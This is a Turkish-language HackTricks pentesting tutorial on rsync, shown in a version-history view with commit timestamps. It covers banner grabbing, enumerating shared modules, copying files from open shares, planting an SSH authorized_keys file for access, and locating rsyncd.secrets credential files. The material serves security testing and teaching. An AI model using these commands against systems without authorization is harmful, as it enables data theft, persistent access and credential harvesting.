hacktricks/network-services-pentesting/873-pentesting-rsync.md

128 lines
7.4 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# 873 - Rsync Pentest
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-03 10:42:55 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## **Temel Bilgiler**
2024-02-10 18:14:16 +00:00
[wikipedia](https://en.wikipedia.org/wiki/Rsync)'dan alınan bilgilere göre:
2024-02-10 18:14:16 +00:00
> **rsync**, bir bilgisayar ile harici bir sabit disk arasında ve ağ üzerindeki bilgisayarlar arasında [dosya](https://en.wikipedia.org/wiki/Computer_file) [aktarma](https://en.wikipedia.org/wiki/File_transfer) ve [senkronizasyon](https://en.wikipedia.org/wiki/File_synchronization) işlemlerini verimli bir şekilde gerçekleştiren bir yardımcı programdır. Bu işlem, dosyaların [değiştirme zamanlarını](https://en.wikipedia.org/wiki/Timestamping_(computing)) ve boyutlarını karşılaştırarak yapılır.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Genellikle [Unix benzeri](https://en.wikipedia.org/wiki/Unix-like) [işletim sistemlerinde](https://en.wikipedia.org/wiki/Operating_system) bulunur. Rsync algoritması, bir tür [delta kodlama](https://en.wikipedia.org/wiki/Delta_encoding) kullanır ve ağ kullanımını en aza indirmek için kullanılır. Ek olarak [veri sıkıştırma](https://en.wikipedia.org/wiki/Data_compression) için [Zlib](https://en.wikipedia.org/wiki/Zlib) kullanılabilir,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) ve güvenlik için [SSH](https://en.wikipedia.org/wiki/Secure_Shell) veya [stunnel](https://en.wikipedia.org/wiki/Stunnel) kullanılabilir.
2024-02-10 18:14:16 +00:00
**Varsayılan port:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
2024-02-10 18:14:16 +00:00
## Numaralandırma
### Banner ve El ile İletişim
Rsync, bir ağ servisi olduğu için, hedef sistemde çalıştırıldığında bir banner döndürür. Bu banner, hedef sistem hakkında bazı bilgiler sağlayabilir. Rsync sunucusuna bağlanarak banner'ı alabilirsiniz:
```bash
$ nc <hedef_ip> 873
```
2024-02-10 18:14:16 +00:00
Banner'ı almak için `nc` (netcat) aracını kullanıyoruz. Banner, hedef sistemde çalışan Rsync sürümünü ve diğer bilgileri içerebilir.
2024-02-10 18:14:16 +00:00
Ayrıca, Rsync sunucusuyla el ile iletişim kurabilirsiniz. Rsync sunucusuna bağlanmak için `rsync` komutunu kullanabilirsiniz:
2024-02-10 18:14:16 +00:00
```bash
$ rsync <hedef_ip>::
```
Bu komut, sunucudaki mevcut modülleri listeler. Modüller, Rsync sunucusunda paylaşılan dizinlerdir. Bu dizinlere erişim sağlayarak verilere erişebilirsiniz.
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
2024-02-10 18:14:16 +00:00
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
2024-02-10 18:14:16 +00:00
### **Paylaşılan Klasörleri Sıralama**
2024-02-10 18:14:16 +00:00
**Rsync modülleri**, **şifrelerle korunmuş olabilecek** **dizin paylaşımları** olarak tanımlanır. Kullanılabilir modülleri belirlemek ve şifre gerekip gerekmediğini kontrol etmek için aşağıdaki komutlar kullanılır:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
2024-02-08 21:36:35 +00:00
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
2024-02-10 18:14:16 +00:00
Dikkatli olun, bazı paylaşımlar liste içinde görünmeyebilir ve gizlenebilir. Ayrıca, bazı paylaşımlara erişim belirli kimlik bilgilerine kısıtlı olabilir ve "Erişim Engellendi" mesajıyla belirtilir.
2024-02-08 21:36:35 +00:00
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
2024-02-10 18:14:16 +00:00
### Rsync Kullanımı
2024-02-10 18:14:16 +00:00
Bir **modül listesi** elde ettikten sonra, işlemler kimlik doğrulaması gerekip gerekmediğine bağlı olarak değişir. Kimlik doğrulaması olmadan, paylaşılan bir klasörden dosyaların **listelenmesi** ve **kopyalanması**, yerel bir dizine şu şekilde gerçekleştirilir:
```bash
2024-02-08 21:36:35 +00:00
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
2024-02-08 21:36:35 +00:00
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
2024-02-10 18:14:16 +00:00
Bu işlem, dosyaları özelliklerini ve izinlerini koruyarak **rekürsif olarak aktarır**.
2024-02-10 18:14:16 +00:00
**Kimlik bilgileri** ile paylaşılan bir klasörden listeleyip indirme işlemi aşağıdaki gibi yapılabilir, burada bir şifre isteme ekranı görünecektir:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
2024-02-10 18:14:16 +00:00
İçerik yüklemek için, erişim için bir **authorized_keys** dosyası gibi, şunu kullanın:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
2022-05-01 13:25:53 +00:00
## POST
2024-02-10 18:14:16 +00:00
Rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
2024-02-10 18:14:16 +00:00
Bu dosyada, bir _secrets dosyası_ parametresi rsyncd kimlik doğrulaması için kullanıcı adları ve şifreler içeren bir dosyaya işaret edebilir.
2024-02-08 21:36:35 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2024-02-08 21:36:35 +00:00
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-01-03 10:42:55 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>